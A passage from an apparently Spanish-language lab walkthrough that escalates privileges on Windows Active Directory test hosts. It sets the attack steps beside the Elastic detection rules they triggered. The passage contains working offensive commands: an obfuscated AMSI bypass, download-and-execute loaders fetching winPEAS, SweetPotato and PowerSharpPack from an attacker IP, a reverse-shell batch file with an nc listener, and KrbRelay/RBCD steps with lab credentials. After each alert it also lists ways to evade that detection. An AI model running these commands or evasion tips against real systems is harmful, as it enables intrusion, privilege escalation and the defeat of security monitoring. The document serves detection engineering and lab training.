4. **Evasión de Firmas Digitales**: Asegurarse de que los procesos no sean identificados fácilmente como maliciosos mediante la firma digital. Esto puede incluir el uso de certificados robados o la falsificación de firmas para parecer legítimos.
5. **Manipulación del Contexto de Ejecución**: Utilizar técnicas que modifiquen indirectamente la memoria sin generar un rastro directo, como inyectar código en procesos confiables que ya están en ejecución, minimizando así la probabilidad de ser detectados por la consulta.
Una vez hecho esto, podemos ejecutar lo que queramos con la condición de no tocar el disco #el_disco_es_lava.
Podemos ejecutar todas nuestras aplicaciones .NET ejecutándolas directamente con ExecuteAssembly.
### winPEAS sin tocar el disco
Mi herramienta favorita para buscar escaladas de privilegios es sin duda [winPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS). Ya hemos evitado AMSI en el paso anterior, lo que podemos hacer ahora para evitar la detección es poner winPEAS en un servidor HTTP y cargarlo en memoria.
[Este artículo](https://www.praetorian.com/blog/running-a-net-assembly-in-memory-with-meterpreter/) explica muy bien cómo cargar y ejecutar un binario con PowerShell completamente en memoria:
```bash
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
python3 -m http.server 8080
```
Y ejecutamos winPEAS desde la memoria con los siguientes comandos de PowerShell (como winPEAS está en .NET, cargamos el assembly y lo ejecutamos directamente):
```powershell
$data=(New-Object System.Net.WebClient).DownloadData('http://10.10.10.10:8080/winPEASany_ofs.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[winPEAS.Program]::Main("");[Console]::SetOut($out);$sWriter.ToString()
```
Detecciones de Elastic:
Elastic ha detectado una instancia inusual donde un proceso ha enumerado los grupos locales privilegiados en un sistema Windows, como los administradores o usuarios de escritorio remoto. Esta alerta se generó porque el proceso WmiPrvSE.exe ejecutado por DefaultAppPool en el host castelblack enumeró miembros de estos grupos privilegiados, lo cual no es una acción típica para ese proceso en particular.
La consulta de Elastic detecta la enumeración de miembros de grupos locales privilegiados en sistemas Windows. Filtra eventos del tipo iam (Identity and Access Management) donde se enumera la membresía de usuarios en grupos como Administrators o Remote Desktop Users, identificados por sus nombres o SIDs específicos. La consulta excluye acciones realizadas por cuentas de sistema estándar o procesos conocidos y autorizados. Si un proceso inusual, como WmiPrvSE.exe, realiza esta enumeración, se genera una alerta. Esto permite identificar posibles intentos de descubrimiento de privilegios por parte de atacantes.
Consulta EQL:
```
host.os.type:windows and event.category:iam and event.action:user-member-enumerated and
(
group.name:(*Admin* or "RemoteDesktopUsers") or
winlog.event_data.TargetSid:("S-1-5-32-544" or "S-1-5-32-555")
) and
not (
winlog.event_data.SubjectUserName: *$ or
winlog.event_data.SubjectUserSid: ("S-1-5-19" or "S-1-5-20") or
winlog.event_data.CallerProcessName:("-" or
*\:\\\\Windows\\\\System32\\\\VSSVC.exe or
*\:\\\\Windows\\\\System32\\\\SearchIndexer.exe or
*\:\\\\Windows\\\\System32\\\\CompatTelRunner.exe or
*\:\\\\Windows\\\\System32\\\\oobe\\\\msoobe.exe or
*\:\\\\Windows\\\\System32\\\\net1.exe or
*\:\\\\Windows\\\\System32\\\\svchost.exe or
*\:\\\\Windows\\\\System32\\\\Netplwiz.exe or
*\:\\\\Windows\\\\System32\\\\msiexec.exe or
*\:\\\\Windows\\\\System32\\\\CloudExperienceHostBroker.exe or
*\:\\\\Windows\\\\System32\\\\RuntimeBroker.exe or
*\:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe or
*\:\\\\Windows\\\\System32\\\\SrTasks.exe or
*\:\\\\Windows\\\\System32\\\\diskshadow.exe or
*\:\\\\Windows\\\\System32\\\\dfsrs.exe or
*\:\\\\Windows\\\\System32\\\\vssadmin.exe or
*\:\\\\Windows\\\\System32\\\\dllhost.exe or
*\:\\\\Windows\\\\System32\\\\mmc.exe or
*\:\\\\Windows\\\\System32\\\\SettingSyncHost.exe or
*\:\\\\Windows\\\\System32\\\\inetsrv\\\\w3wp.exe or
*\:\\\\Windows\\\\System32\\\\wsmprovhost.exe or
*\:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\x3jobt3?.exe or
*\:\\\\Windows\\\\System32\\\\mstsc.exe or
*\:\\\\Windows\\\\System32\\\\esentutl.exe or
*\:\\\\Windows\\\\System32\\\\RecoveryDrive.exe or
*\:\\\\Windows\\\\System32\\\\SystemPropertiesComputerName.exe or
*\:\\\\Windows\\\\SysWOW64\\\\msiexec.exe or
*\:\\\\Windows\\\\ImmersiveControlPanel\\\\SystemSettings.exe or
*\:\\\\Windows\\\\Temp\\\\rubrik_vmware???\\\\snaptool.exe or
*\:\\\\Windows\\\\VeeamVssSupport\\\\VeeamGuestHelper.exe or
?\:\\\\WindowsAzure\\\\*WaAppAgent.exe or
?\:\\\\Program?Files?\(x86\)\\\\*.exe or
?\:\\\\Program?Files\\\\*.exe or
?\:\\\\$WINDOWS.~BT\\\\Sources\\\\*.exe
)
)
```
Un atacante podría haber evitado generar esta alerta siguiendo estos métodos:
1. **Usar Procesos Autorizados**: Ejecutar la enumeración mediante procesos que están en la lista de exclusión, como `svchost.exe` o `msiexec.exe`.
2. **Modificar el Nombre del Proceso**: Renombrar el proceso malicioso para que coincida con uno de los procesos excluidos en la consulta, por ejemplo, `CompatTelRunner.exe`.
3. **Utilizar Cuentas del Sistema**: Realizar la enumeración utilizando cuentas de sistema excluidas, como `LOCAL SERVICE` o `NETWORK SERVICE`.
4. **Ejecución Fuera de Horas Pico**: Ejecutar estas acciones durante horas de bajo uso del sistema para reducir la detección por comportamiento anómalo.
5. **Fragmentar la Actividad**: Distribuir la enumeración en intervalos más largos y acciones menores para evitar generar patrones detectables.
Elastic ha detectado una alerta crítica de malware que se generó debido a la detección de un evento de archivo asociado con un proceso de PowerShell ejecutado desde un proceso padre cmd.exe. El archivo en cuestión es ome5jpiq.dll, ubicado en el directorio temporal de Windows (C:\Windows\TEMP), y fue ejecutado por el usuario DefaultAppPool en el host castelblack.
Un atacante podría haber evitado generar esta alerta de las siguientes maneras:
1. **Evitar el uso de PowerShell**: Utilizando herramientas menos monitoreadas en lugar de PowerShell, como scripts en otros lenguajes o ejecutables legítimos de Windows.
2. **Ubicación del archivo**: Guardando el archivo malicioso en un directorio menos sospechoso, como `C:\Program Files` o `C:\Windows\System32`, en lugar de `C:\Windows\TEMP`.
3. **Nombres de archivos legítimos**: Nombrando el archivo malicioso con un nombre que parezca legítimo y común en el sistema operativo.
4. **Modificación de atributos**: Cambiando los atributos de fecha y hora del archivo para que no parezca recién creado y ajustando permisos para que coincidan con otros archivos del sistema.
5. **Ejecución directa**: Cargando el archivo DLL directamente desde un proceso legítimo en lugar de utilizar cmd.exe y PowerShell, que son altamente monitoreados.
6. **Uso de credenciales válidas**: Utilizando credenciales de usuarios legítimos y no cuentas predeterminadas como `DefaultAppPool`.
Elastic ha detectado una alerta de baja severidad titulada "Unusual Discovery Signal Alert with Unusual Process Command Line". Esta alerta se generó debido a un evento de proceso inusual, específicamente el uso del comando systeminfo.exe iniciado por powershell.exe bajo el usuario DefaultAppPool en el host castelblack. La alerta se disparó porque el uso de systeminfo.exe con estas condiciones específicas (comando inusual, usuario y host únicos) se considera anómalo.
La consulta de Elastic busca detectar eventos específicos en sistemas operativos Windows que cumplan con ciertos criterios de alerta. Específicamente, se enfoca en eventos de tipo "signal" y verifica si el ID de la regla de alerta (`kibana.alert.rule.rule_id`) coincide con uno de los identificadores listados. Estos IDs corresponden a reglas de detección de Elastic que buscan comportamientos inusuales o sospechosos en el sistema, como actividades relacionadas con tácticas de descubrimiento de MITRE ATT&CK, ayudando a identificar posibles compromisos de seguridad.
Puedes encontrar detalles sobre cada regla en el siguiente enlace: [Elastic Integrations](https://github.com/elastic/integrations/tree/3e97417b8d170483847608b0c392f54c73449c59/packages/security_detection_engine/kibana/security_rule).
Consulta:
```
host.os.type:windows and event.kind:signal and kibana.alert.rule.rule_id:(
"d68e95ad-1c82-4074-a12a-125fe10ac8ba" or "7b8bfc26-81d2-435e-965c-d722ee397ef1" or
"0635c542-1b96-4335-9b47-126582d2c19a" or "6ea55c81-e2ba-42f2-a134-bccf857ba922" or
"e0881d20-54ac-457f-8733-fe0bc5d44c55" or "06568a02-af29-4f20-929c-f3af281e41aa" or
"c4e9ed3e-55a2-4309-a012-bc3c78dad10a" or "51176ed2-2d90-49f2-9f3d-17196428b169"
)
```
winPEAS puede tardar varios minutos en completarse, y durante este tiempo se recopila toda la información necesaria.
Si se tiene acceso a una shell completa (real), no es necesario redirigir la salida de la consola. En este caso, se puede ejecutar simplemente `[winPEAS.Program]::Main("");` sin los pasos relacionados con la redirección de la salida de la consola. El truco de redirección de la consola se tomó de PowerSharpPack.
Si no quieres pasar por el tedioso proceso de compilar aplicaciones .NET o modificarlas para asegurarte de que las clases y métodos sean públicos y y sin `exit.environment`, puedes usar [PowerSharpPack](https://github.com/S3cur3Th1sSh1t/PowerSharpPack), que automatiza todo este proceso (gracias a @ShitSecure).
```powershell
iex(new-object net.webclient).downloadstring('http://10.10.10.10:8080/PowerSharpPack/PowerSharpPack.ps1')
PowerSharpPack -winPEAS
```
Detecciones de Elastic:
El primer comando ha generado estas alertas:
Elastic ha detectado una actividad sospechosa mediante una alerta que se activó debido a la detección del uso de Reflection.Assembly para cargar archivos ejecutables (PEs) y librerías dinámicas (DLLs) en memoria utilizando scripts de PowerShell. Esta técnica permite a los atacantes ejecutar código sin escribirlo en el disco, lo que puede evadir muchas soluciones de seguridad que dependen de la detección basada en archivos.
La consulta de Elastic funciona buscando eventos en los logs de PowerShell que contienen el texto de script `[System.Reflection.Assembly]::Load` o `[Reflection.Assembly]::Load`, indicando intentos de cargar ensamblados .NET en memoria. Excluye ciertos patrones comunes que podrían ser falsos positivos, como parámetros de flujo de trabajo o scripts específicos de Microsoft Monitoring Agent, y también ignora eventos generados por el usuario del sistema con ID `S-1-5-18`. Esto permite detectar actividades sospechosas de inyección de código en PowerShell mientras minimiza las alertas innecesarias.
Consulta:
```
event.category:process and host.os.type:windows and
powershell.file.script_block_text : (
"[System.Reflection.Assembly]::Load" or
"[Reflection.Assembly]::Load"
) and
not powershell.file.script_block_text : (
("CommonWorkflowParameters" or "RelatedLinksHelpInfo") and
"HelpDisplayStrings"
) and
not (powershell.file.script_block_text :
("Get-SolutionFiles" or "Get-VisualStudio" or "Select-MSBuildPath") and
file.name : "PathFunctions.ps1"
) and
not file.path : C\:\\\\Program?Files\\\\Microsoft?Monitoring?Agent\\\\Agent\\\\Health?Service?State\\\\Monitoring?Host?Temporary?Files*\\\\AvailabilityGroupMonitoring.ps1 and
not user.id : "S-1-5-18"
```
Referencias:
* https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load
Un atacante podría haber evitado generar esta alerta ofuscando el comando PowerShell [System.Reflection.Assembly]::Load para que no coincidiera directamente con los patrones de búsqueda de la consulta. Esto podría incluir técnicas como codificar el comando en base64, dividir el texto del script en fragmentos menos reconocibles, o utilizar alias y funciones personalizadas para ocultar el uso del método Reflection.Assembly::Load. Además, el atacante podría haber empleado métodos alternativos para cargar ensamblados sin usar directamente los comandos detectables por la consulta, o haber ejecutado el script desde ubicaciones o contextos que se consideran de confianza y no están incluidos en los filtros de exclusión de la consulta.
Elastic ha detectado una alerta de nivel medio debido a la identificación de un script de PowerShell que utiliza funcionalidades de .NET para la descompresión y la decodificación Base64. Esta combinación es comúnmente utilizada por malware y herramientas de seguridad para desofuscar cargas útiles y cargarlas directamente en la memoria, evitando así las defensas tradicionales.
La consulta funciona al identificar eventos de procesos en sistemas Windows donde los scripts de PowerShell contienen ciertos patrones de texto que indican el uso de funcionalidades de .NET para descompresión (DeflateStream o GzipStream) y decodificación base64 (FromBase64String). Excluye rutas específicas relacionadas con Microsoft Defender y procesos ejecutados por el sistema (user.id "S-1-5-18"). Si se cumplen estos criterios, se genera una alerta, señalando una posible actividad sospechosa o maliciosa.
Consulta:
```
event.category:process and host.os.type:windows and
powershell.file.script_block_text : (
(
"System.IO.Compression.DeflateStream" or
"System.IO.Compression.GzipStream" or
"IO.Compression.DeflateStream" or
"IO.Compression.GzipStream"
) and
FromBase64String
) and
not file.path: ?\:\\\\ProgramData\\\\Microsoft\\\\Windows?Defender?Advanced?Threat?Protection\\\\Downloads\\\\* and
not user.id : "S-1-5-18"
```
Un atacante podría haber evitado generar esta alerta modificando el script de PowerShell para no utilizar directamente las clases de .NET DeflateStream o GzipStream y FromBase64String. En su lugar, podría usar métodos alternativos de descompresión y decodificación que no sean detectados por la consulta. También podría ofuscar el script para ocultar estas funciones, dividir las cadenas de texto sospechosas en fragmentos más pequeños o utilizar contextos y rutas de ejecución que no sean monitoreadas tan rigurosamente por las reglas de detección configuradas.
La alerta detecta la presencia de un archivo ejecutable portable (PE) codificado en un script de PowerShell. Esto es indicativo de que un atacante ha incrustado un PE en un script de PowerShell con el objetivo de inyectarlo en la memoria, evitando así las defensas que monitorean la escritura en disco.
La consulta funciona identificando eventos de procesos en sistemas Windows donde se encuentra un script de PowerShell que contiene un encabezado codificado específico de un archivo ejecutable portable (PE), representado por la cadena "TVqQAAMAAAAEAAAA". Utiliza los campos event.category, host.os.type, powershell.file.script_block_text y user.id para filtrar los eventos relevantes, excluyendo aquellos generados por el sistema (user.id: "S-1-5-18"). Esta configuración permite detectar scripts que intentan inyectar PEs en memoria, alertando sobre posibles intentos de evasión de defensas que monitorean la escritura en disco.
Consulta:
```
event.category:process and host.os.type:windows and
powershell.file.script_block_text : (
TVqQAAMAAAAEAAAA
) and not user.id : "S-1-5-18"
```
Referencia:
* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md
Para evitar generar esta alerta, un atacante podría:
1. **Ofuscar el PE**: Utilizar técnicas de ofuscación para modificar el encabezado codificado del PE, haciendo que no coincida con el patrón "TVqQAAMAAAAEAAAA".
2. **Fragmentar el PE**: Dividir el PE en múltiples partes y ensamblarlo en memoria, evitando la detección de un encabezado continuo.
3. **Cifrar el PE**: Cifrar el contenido del PE en el script y descifrarlo solo en memoria durante la ejecución, evadiendo así la detección estática.
4. **Usar IDs Excluidos**: Ejecutar el script con un User ID excluido de la regla, evitando que sea considerado sospechoso.
El segundo comando ha generado la siguiente alerta:
Elastic ha detectado un intento de evasión a través de la modificación de la memoria del proceso de Event Tracing for Windows (ETW), lo que indica que se está tratando de alterar o deshabilitar las capacidades de rastreo de eventos de Windows para ocultar actividades maliciosas. Esta alerta fue generada por una detección crítica que involucra a PowerShell ejecutado por el usuario DefaultAppPool en el host castelblack.
La consulta de Elastic funciona identificando eventos en los que el API WriteProcessMemory se utiliza en combinación con funciones relacionadas con el Event Tracing for Windows (ntdll.dll!Etw* y ntdll.dll!NtTrace*). Filtra estos eventos para excluir ciertos procesos legítimos (como lsass.exe) y, al detectar estos patrones de comportamiento en procesos ejecutables no excluidos, genera una alerta. Esta consulta está diseñada para identificar modificaciones de memoria que podrían estar intentando evadir las capacidades de detección de ETW.
Regla: https://github.com/elastic/protections-artifacts/blob/efd00abcfc634000adf2f245f5bebfb9ea7e067a/behavior/rules/defense_evasion_evasion_via_event_tracing_for_windows_patching.toml
Un atacante podría haber evitado generar esta alerta utilizando métodos que no invoquen WriteProcessMemory o que no interactúen con ntdll.dll!Etw* o ntdll.dll!NtTrace*. Alternativamente, podrían haber disfrazado estas llamadas dentro de procesos legítimos, como lsass.exe, que están excluidos de la consulta. Otra estrategia sería utilizar técnicas de inyección de código más avanzadas que no se detecten por las firmas específicas de la consulta de Elastic.
Y obtenemos la información del privilegio `SeImpersonate` para usar en la escalada de privilegios.
### Empaquetando tu binario .NET para PowerShell
Si no quieres usar binarios de Internet (y no deberías usar código precompilado de GitHub en tu pentest), también puedes empaquetar tu propio binario con el siguiente script: [EncodeAssembly.ps1](https://gist.github.com/Mayfly277/2e5f34a7e7f70798d1f19c0c35f9fa0e).
Este script es una modificación del que está en la [página web](https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/dotnet-assembly/dotnet-reflective-assembly) de @snovvcrash y algo de código de PowerSharpPack.
Empaqueta con los siguientes comandos:
```powershell
. .\EncodeAssembly.ps1
Invoke-EncodeAssembly -binaryPath winPEAS.exe -namespace winPEAS -capture $true
```
Para usar Reflective Assembly en PowerShell:
1. **Evita `Environment.Exit()`**: No uses `Environment.Exit()`. Usa `return` para salir del método `Main`.
2. **Haz públicos la clase y el método principal**: Define tu clase y método principal como públicos:
```csharp
public class Program
{
public static void Main(string[] args)
{
// Tu código aquí
}
}
```
Estos pasos aseguran que el ensamblado .NET se cargue y ejecute correctamente desde PowerShell.
### Escalando privilegios a NT AUTHORITY\SYSTEM con SeImpersonatePrivilege
Para escalar privilegios desde nuestro usuario de IIS (o MSSQL) con `SeImpersonatePrivilege` a `NT AUTHORITY\SYSTEM`, podemos usar una de las técnicas de "potatoes".
Un excelente post explica los diferentes potatoes aquí: [Potatoes_Windows_Privesc](https://jlajara.gitlab.io/Potatoes_Windows_Privesc)
Vamos a usar [SweetPotato](https://github.com/CCob/SweetPotato), una compilación de todas las técnicas, "el potato para gobernarlos a todos".
Clonamos el proyecto y lo compilamos con Visual Studio.
Para asegurar que todo funcione correctamente, es necesario cambiar la clase y el método `Main` a "public" e instalar el paquete NuGet llamado ILMerge.
Preparamos un archivo `.bat` para ejecutar nuestra shell inversa básica de PowerShell al ejecutarse:
```bash
echo "@echo off" > runme.bat
echo "start /b $(python3 payload.py 10.10.10.10 4445)" >> runme.bat
echo "exit /b" >> runme.bat
python3 -m http.server 8080
```
Preparamos el listener:
```bash
nc -lvnp 4445
```
Con nuestra shell inversa ejecutamos el siguiente comando:
```powershell
mkdir c:\temp
cd c:\temp
(New-Object System.Net.WebClient).DownloadFile('http://10.10.10.10:8080/runme.bat','c:\temp\runme.bat')
$data=(New-Object System.Net.WebClient).DownloadData('http://10.10.10.10:8080/SweetPotato.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[SweetPotato.Program]::Main(@('-p=C:\temp\runme.bat'));[Console]::SetOut($out);$sWriter.ToString()
```
Detecciones de Elastic:
Elastic ha detectado específicamente que el proceso `cmd.exe` fue iniciado por `powershell.exe` bajo el usuario `SYSTEM` utilizando el comando `cmd /c c:\temp\runme.bat`, lo cual indica una posible elevación de privilegios mediante la suplantación del PID del proceso padre. Esto sugiere que un atacante podría estar tratando de ejecutar comandos con altos privilegios en el sistema mediante la manipulación del proceso padre para evadir las defensas de monitoreo.
La consulta de Elastic busca eventos de inicio de procesos en sistemas Windows donde se haya utilizado la suplantación del PID del proceso padre para crear un nuevo proceso con privilegios elevados. Filtra estos eventos para identificar aquellos donde el proceso padre tiene un PID real mayor que cero y el usuario es SYSTEM. Excluye procesos comunes y firmas de código confiables para reducir falsos positivos. La consulta correlaciona estos datos para detectar y alertar sobre intentos de elevación de privilegios mediante la manipulación del PPID.
Consulta:
```
/* This rule is compatible with Elastic Endpoint only */
process where host.os.type == "windows" and event.action == "start" and
/* process creation via seclogon */
process.parent.Ext.real.pid > 0 and
/* PrivEsc to SYSTEM */
user.id : "S-1-5-18" and
/* Common FPs - evasion via hollowing is possible, should be covered by code injection */
not process.executable : ("?:\\Windows\\System32\\WerFault.exe",
"?:\\Windows\\SysWOW64\\WerFault.exe",
"?:\\Windows\\System32\\WerFaultSecure.exe",
"?:\\Windows\\SysWOW64\\WerFaultSecure.exe",
"?:\\Windows\\System32\\Wermgr.exe",
"?:\\Windows\\SysWOW64\\Wermgr.exe",
"?:\\Windows\\SoftwareDistribution\\Download\\Install\\securityhealthsetup.exe") and
/* Logon Utilities */
not (process.parent.executable : "?:\\Windows\\System32\\Utilman.exe" and
process.executable : ("?:\\Windows\\System32\\osk.exe",
"?:\\Windows\\System32\\Narrator.exe",
"?:\\Windows\\System32\\Magnify.exe")) and
not process.parent.executable : "?:\\Windows\\System32\\AtBroker.exe" and
not (process.code_signature.subject_name in
("philandro Software GmbH", "Freedom Scientific Inc.", "TeamViewer Germany GmbH", "Projector.is, Inc.",
"TeamViewer GmbH", "Cisco WebEx LLC", "Dell Inc") and process.code_signature.trusted == true) and
/* AM_Delta_Patch Windows Update */
not (process.executable : ("?:\\Windows\\System32\\MpSigStub.exe", "?:\\Windows\\SysWOW64\\MpSigStub.exe") and
process.parent.executable : ("?:\\Windows\\System32\\wuauclt.exe",
"?:\\Windows\\SysWOW64\\wuauclt.exe",
"?:\\Windows\\UUS\\Packages\\Preview\\*\\wuaucltcore.exe",
"?:\\Windows\\UUS\\amd64\\wuauclt.exe",
"?:\\Windows\\UUS\\amd64\\wuaucltcore.exe",
"?:\\ProgramData\\Microsoft\\Windows\\UUS\\*\\wuaucltcore.exe")) and
not (process.executable : ("?:\\Windows\\System32\\MpSigStub.exe", "?:\\Windows\\SysWOW64\\MpSigStub.exe") and process.parent.executable == null) and
/* Other third party SW */
not process.parent.executable :
("?:\\Program Files (x86)\\HEAT Software\\HEAT Remote\\HEATRemoteServer.exe",
"?:\\Program Files (x86)\\VisualCron\\VisualCronService.exe",
"?:\\Program Files\\BinaryDefense\\Vision\\Agent\\bds-vision-agent-app.exe",
"?:\\Program Files\\Tablet\\Wacom\\WacomHost.exe",
"?:\\Program Files (x86)\\LogMeIn\\x64\\LogMeIn.exe",
"?:\\Program Files (x86)\\EMC Captiva\\Captiva Cloud Runtime\\Emc.Captiva.WebCaptureRunner.exe",
"?:\\Program Files\\Freedom Scientific\\*.exe",
"?:\\Program Files (x86)\\Google\\Chrome Remote Desktop\\*\\remoting_host.exe",
"?:\\Program Files (x86)\\GoToAssist Remote Support Customer\\*\\g2ax_comm_customer.exe") and
not (
process.code_signature.trusted == true and process.code_signature.subject_name == "Netwrix Corporation" and
process.name : "adcrcpy.exe" and process.parent.executable : (
"?:\\Program Files (x86)\\Netwrix Auditor\\Active Directory Auditing\\Netwrix.ADA.EventCollector.exe",
"?:\\Program Files (x86)\\Netwrix Auditor\\Active Directory Auditing\\Netwrix.ADA.Analyzer.exe",
"?:\\Netwrix Auditor\\Active Directory Auditing\\Netwrix.ADA.EventCollector.exe"
)
)
```
Referencias:
* https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6
* https://blog.didierstevens.com/2017/03/20/
* https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute
* https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.002/T1134.002.md
Un atacante podría haber evitado generar esta alerta usando técnicas que no coincidan con los criterios de la consulta. Podrían haber ejecutado el comando desde un proceso padre legítimo y no sospechoso, evitando usar powershell.exe. También podrían haber utilizado procesos con firmas de código confiables que la consulta excluye, o inyectado código en procesos existentes y privilegiados en lugar de crear un nuevo proceso.
Elastic ha detectado una alerta crítica de comportamiento malicioso relacionada con una escalada de privilegios, específicamente que un proceso cmd.exe fue iniciado con privilegios elevados por el proceso padre powershell.exe utilizando la técnica EXTENDED STARTUPINFO. Este tipo de alerta se genera cuando un proceso malicioso intenta obtener privilegios elevados mediante la creación de un proceso elevado que se ejecuta como SYSTEM y con un proceso padre falsificado.
La consulta detecta procesos creados mediante seclogon con un proceso padre existente y verifica si el proceso se está ejecutando como SYSTEM (user.id: "S-1-5-18"). Excluye procesos conocidos por generar falsos positivos, basándose en su ejecutable, firma de código, nombre, línea de comandos y hash SHA-256. También filtra escenarios específicos que son considerados seguros o no maliciosos. Esta lógica ayuda a identificar comportamientos sospechosos relacionados con la escalada de privilegios, ignorando actividades legítimas y comunes.
Regla: https://github.com/elastic/protections-artifacts/blob/efd00abcfc634000adf2f245f5bebfb9ea7e067a/behavior/rules/privilege_escalation_privilege_escalation_via_extended_startupinfo.toml
Para evitar generar esta alerta, un atacante podría:
1. Evitar el uso de `seclogon`: Evitar métodos de creación de procesos detectables por esta técnica.
2. No usar SYSTEM: Ejecutar como un usuario menos privilegiado.
3. Disfrazar el proceso padre: Utilizar procesos padres comunes y no sospechosos.
4. Modificar hashes y firmas conocidas: Modificar las características del archivo para no coincidir con las firmas y hashes en la lista de exclusiones.
5. Evitar patrones de línea de comando conocidos: Usar comandos menos sospechosos o encriptados para evitar detecciones basadas en patrones específicos.
Elastic ha detectado que el comando whoami.exe fue ejecutado por la cuenta SYSTEM a través de un proceso padre powershell.exe en el host llamado castelblack. Esta actividad es inusual y sugiere un intento de descubrimiento de cuentas, posiblemente después de que un atacante haya logrado una escalada de privilegios.
La consulta EQL utilizada por Elastic filtra eventos de inicio de procesos en sistemas Windows, buscando específicamente aquellos con un nivel de integridad "System". Identifica cuando se ejecuta whoami.exe o net1.exe (con ciertas excepciones) como proceso hijo de cualquier otro proceso, destacando powershell.exe como proceso padre en este caso. Esta combinación de condiciones permite detectar actividades de descubrimiento de cuentas llevadas a cabo con privilegios elevados, señalando posibles comportamientos maliciosos después de una escalada de privilegios.
Consulta EQL:
```
process where host.os.type == "windows" and event.type == "start" and
(?process.Ext.token.integrity_level_name : "System" or
?winlog.event_data.IntegrityLevel : "System") and
(
process.name : "whoami.exe" or
(
process.name : "net1.exe" and not process.parent.name : "net.exe" and not process.args : ("start", "stop", "/active:*")
)
)
```
Un atacante podría haber evitado generar esta alerta utilizando métodos alternativos para realizar la misma acción. En lugar de ejecutar directamente whoami.exe desde powershell.exe, podría haber utilizado herramientas personalizadas. También podría haber usado procesos y aplicaciones legítimas y comúnmente permitidas para disfrazar la actividad, o ejecutar el comando desde una cuenta con menor nivel de integridad para no activar la regla basada en niveles de integridad elevados.
Por defecto, la herramienta usa la [técnica PrintSpoofer](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) de @itm4n.
Si no quieres compilar `SweetPotato`, también podrías hacer eso con `BadPotato` de `PowerSharpPack` (pero primero debemos evadir AMSI -ver la parte del bypass de AMSI antes- o será detectado).
```powershell
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
iex(new-object system.net.webclient).downloadstring('http://10.10.10.10:8080/amsi_rmouse.txt')
iex(new-object net.webclient).downloadstring('http://10.10.10.10:8080/PowerSharpPack/PowerSharpBinaries/Invoke-BadPotato.ps1')
Invoke-BadPotato -Command "c:\temp\runme.bat"
```
Detecciones de Elastic:
### KrbRelayUp
Otra técnica muy útil para escalar privilegios es el relay de Kerberos, como está implementado en [KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp). Gracias a @dec0ne, quien usó GOADv1 para demostrar la técnica en su herramienta :)
Como KrbRelayUp es detectado por Defender, utilizaremos un enfoque paso a paso como en [este writeup](https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9) de @an0n_r0, usando [KrbRelay](https://github.com/cube0x0/KrbRelay) de @cube0x0. Al momento de escribir, KrbRelay no es detectado por Defender.
Las condiciones para explotar esta escalada de privilegios es que la firma LDAP NO esté aplicada. Podemos comprobarlo con el módulo `ldap-checker` de `nxc`:
```bash
nxc ldap 192.168.10.10-12 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M ldap-checker
```
**Añadir ordenador y RBCD**
Para explotar krbrelay añadiendo un ordenador, debes poder añadir nuevos ordenadores. Podemos comprobarlo con el módulo `maq` de `nxc`:
```bash
nxc ldap 192.168.10.11 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M maq
```
Añadir ordenador:
```bash
impacket-addcomputer -computer-name 'krbrelay$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
```
Obtener el SID de ese ordenador:
```powershell
PS C:\Users\jon.snow> $o = ([ADSI]"LDAP://CN=krbrelay,CN=Computers,DC=north,DC=sevenkingdoms,DC=local").objectSID
PS C:\Users\jon.snow> (New-Object System.Security.Principal.SecurityIdentifier($o.value, 0)).Value
S-1-5-21-1836750769-3111001315-3316873244-1141
```
Comprobar puertos:
```powershell
PS C:\Users\jon.snow\Desktop> .\CheckPort.exe
[*] Looking for available ports..
[*] SYSTEM Is allowed through port 443
```
Detecciones de Elastic:
Al intentar descargar `KrbRelay.exe` desde Internet Explorer, Elastic generó de inmediato tres alertas de detección de malware.
Elastic ha detectado la ejecución de un archivo malicioso denominado `KrbRelay.exe` descargado en la carpeta de descargas del usuario `jon.snow` en el host `winterfell`, ejecutado a través del proceso `iexplore.exe` (Internet Explorer). La detección se basa en la coincidencia del archivo con firmas conocidas de malware y la actividad sospechosa del proceso.
Un atacante podría haber evitado generar esta alerta modificando el archivo `KrbRelay.exe` para cambiar su hash SHA256, evitando así la detección basada en firmas conocidas. Además, podrían haber usado un proceso menos monitoreado que `iexplore.exe` para ejecutar el archivo, o inyectar el malware en un proceso legítimo del sistema. También, renombrar el archivo a algo menos sospechoso y colocarlo en una ubicación del sistema menos vigilada podría haber ayudado a evitar la detección. Utilizando técnicas de evasión de comportamiento y detección de entornos de análisis, el atacante podría haber reducido las probabilidades de activar la alerta.
Lanzar KrbRelay:
```powershell
PS C:\Users\jon.snow\Desktop> .\KrbRelay.exe -spn ldap/winterfell.north.sevenkingdoms.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-1836750769-3111001315-3316873244-1141 -port 10
```
Detecciones de Elastic:
